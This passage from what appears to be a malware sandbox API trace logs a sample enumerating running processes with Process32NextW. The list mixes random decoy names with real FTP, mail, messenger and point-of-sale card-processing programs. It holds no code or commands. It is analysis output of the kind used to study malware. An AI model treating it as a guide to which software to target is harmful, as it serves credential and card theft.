szExeFile="furholdtopics.exe")) returned 1 [0069.432] lstrlenW (lpString="furholdtopics.exe") returned 17 [0069.432] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0069.433] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0069.433] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0069.434] lstrlenW (lpString="until_commit.exe") returned 16 [0069.434] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0069.434] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0069.434] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0069.435] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0069.435] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0069.435] lstrlenW (lpString="lexmark.exe") returned 11 [0069.435] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0069.436] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0069.436] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0069.436] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0069.436] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0069.437] lstrlenW (lpString="delete disable changing.exe") returned 27 [0069.437] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0069.437] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0069.438] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0069.438] lstrlenW (lpString="underwear.exe") returned 13 [0069.438] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0069.439] lstrlenW (lpString="dear-hearings.exe") returned 17 [0069.439] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0069.439] lstrlenW (lpString="dllhost.exe") returned 11 [0069.439] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0069.440] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0069.440] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0069.440] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0069.440] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0069.441] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0069.441] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0069.441] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0069.441] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0069.442] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0069.442] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0069.442] lstrlenW (lpString="towers world.exe") returned 16 [0069.442] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0069.443] lstrlenW (lpString="coaching indian.exe") returned 19 [0069.443] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0069.444] lstrlenW (lpString="goal assumed.exe") returned 16 [0069.444] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.444] lstrlenW (lpString="3dftp.exe") returned 9 [0069.445] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.445] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.445] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.446] lstrlenW (lpString="alftp.exe") returned 9 [0069.446] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.447] lstrlenW (lpString="barca.exe") returned 9 [0069.447] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.448] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.448] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.449] lstrlenW (lpString="coreftp.exe") returned 11 [0069.449] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0071.187] lstrlenW (lpString="far.exe") returned 7 [0071.187] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0071.188] lstrlenW (lpString="filezilla.exe") returned 13 [0071.188] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0071.189] lstrlenW (lpString="flashfxp.exe") returned 12 [0071.189] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0071.190] lstrlenW (lpString="fling.exe") returned 9 [0071.190] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0071.191] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0071.191] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0071.192] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0071.192] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0071.193] lstrlenW (lpString="icq.exe") returned 7 [0071.193] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0071.193] lstrlenW (lpString="leechftp.exe") returned 12 [0071.194] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0071.194] lstrlenW (lpString="ncftp.exe") returned 9 [0071.194] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.195] lstrlenW (lpString="notepad.exe") returned 11 [0071.195] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.196] lstrlenW (lpString="operamail.exe") returned 13 [0071.196] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.197] lstrlenW (lpString="pidgin.exe") returned 10 [0071.197] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0071.198] lstrlenW (lpString="scriptftp.exe") returned 13 [0071.198] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0071.199] lstrlenW (lpString="skype.exe") returned 9 [0071.199] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0071.200] lstrlenW (lpString="smartftp.exe") returned 12 [0071.200] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0071.201] lstrlenW (lpString="thunderbird.exe") returned 15 [0071.201] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.201] lstrlenW (lpString="totalcmd.exe") returned 12 [0071.201] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.202] lstrlenW (lpString="trillian.exe") returned 12 [0071.202] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.203] lstrlenW (lpString="webdrive.exe") returned 12 [0071.203] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.204] lstrlenW (lpString="whatsapp.exe") returned 12 [0071.204] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.205] lstrlenW (lpString="winscp.exe") returned 10 [0071.205] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.205] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0071.205] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.206] lstrlenW (lpString="active-charge.exe") returned 17 [0071.206] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.207] lstrlenW (lpString="accupos.exe") returned 11 [0071.207] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.208] lstrlenW (lpString="afr38.exe") returned 9 [0071.208] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.209] lstrlenW (lpString="aldelo.exe") returned 10 [0071.209] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.209] lstrlenW (lpString="ccv_server.exe") returned 14 [0071.209] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.210] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0071.210] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.211] lstrlenW (lpString="creditservice.exe") returned 17 [0071.211] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.212] lstrlenW (lpString="edcsvr.exe") returned 10 [0071.212] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.213] lstrlenW (lpString="fpos.exe") returned 8 [0071.213] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.213] lstrlenW (lpString="isspos.exe") returned 10 [0071.214] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.214] lstrlenW (lpString="mxslipstream.exe") returned 16 [0071.214] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.215] lstrlenW (lpString="omnipos.exe") returned 11 [0071.215] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.216] lstrlenW (lpString="spcwin.exe") returned 10 [0071.216] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.217] lstrlenW (lpString="spgagentservice.exe") returned 19 [0071.217] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.218] lstrlenW (lpString="utg2.exe") returned 8 [0071.218] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0071.219] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0071.219] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0071.220] lstrlenW (lpString="glow be.exe") returned 11 [0071.220] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0071.221] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0071.221] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0071.222] lstrlenW (lpString="contains roles was.exe") returned 22 [0071.222] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.222] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.223] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0071.223] lstrlenW (lpString="taskhostw.exe") returned 13 [0071.223] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 